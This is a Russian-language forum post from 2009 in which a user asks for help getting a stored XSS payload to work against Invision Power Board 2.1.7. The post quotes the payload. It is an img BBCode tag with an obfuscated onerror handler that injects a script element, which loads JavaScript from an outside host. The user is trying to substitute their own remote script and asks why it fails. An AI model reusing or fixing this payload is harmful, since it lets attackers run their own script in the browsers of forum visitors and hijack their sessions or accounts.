Ваши вопросы по уязвимостям.

#11

11.01.2009, 11:50

Byrger

Постоянный

Регистрация: 07.03.2008

Сообщений: 479

С нами: 9567480

Репутация: 61

Не подскажите нуда XSS вставлять в этом коде?
Или путь до JS
XSS для IPB v2.1.7

Цитата:

[img]http://www.ya.ru/[snapback] onerror=script=document.createElement(String.fromC harCode(115,99,114,
105,112,116)),script.src=/http:xxdaim.ruxmonzterxforum/.source.replace(/x/g,String.fromCharCode(47)),
head=document.getElementsByTagName(String.fromChar Code(104,101,97,100)).item(0),head.appendChild(scr ipt)
style=visibility:hidden =[/snapback].gif[/img]

Если ставлю вместо

Цитата:

src=/http:xxdaim.ruxmonzterxforum/

вот такое

Цитата:

src=/http:xxhost.ruxmonzterxscriptxmonzterxjs.js/

то всё ок но после перехода по картинке (которая образованна XSS) выходит сообщение:
"Некоторые требуемые файлы отсутствуют. Если вы хотели просмотреть тему, возможно эта тема перемещена или удалена. Вернитесь назад и попробуйте снова."

также пробовал вставить туда

Цитата:

alert()

Ошибка таже...

Последний раз редактировалось Byrger; 11.01.2009 в 12:14..